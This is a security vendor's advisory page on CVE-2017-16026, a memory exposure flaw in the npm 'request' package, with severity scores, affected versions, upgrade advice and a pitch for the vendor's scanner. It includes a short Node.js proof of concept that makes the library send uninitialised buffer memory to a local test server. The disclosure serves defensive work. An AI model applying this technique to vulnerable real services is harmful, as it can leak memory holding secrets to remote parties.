CVE-2017-16026 is a medium-severity (CVSS 5.9) CWE-201 vulnerability in request. 3 public exploit references exist, so weaponization risk is real. A fix is available for request — see the affected versions and patch details below.
Remote Memory Exposure in request
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2017-16026 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
requestnpmDescription
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
Recommendation
Update to version 2.68.0 or later
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | request | ≥ 2.49.0&&< 2.68.0 | 2.68.0npm install request@2.68.0 |
| 📦npm | request | ≥ 2.2.6&&< 2.68.0 | 2.68.0npm install request@2.68.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for request, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update request to 2.68.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2017-16026 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2017-16026 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2017-16026. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2017-16026 in your dependencies?
O3 Security finds CVE-2017-16026 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.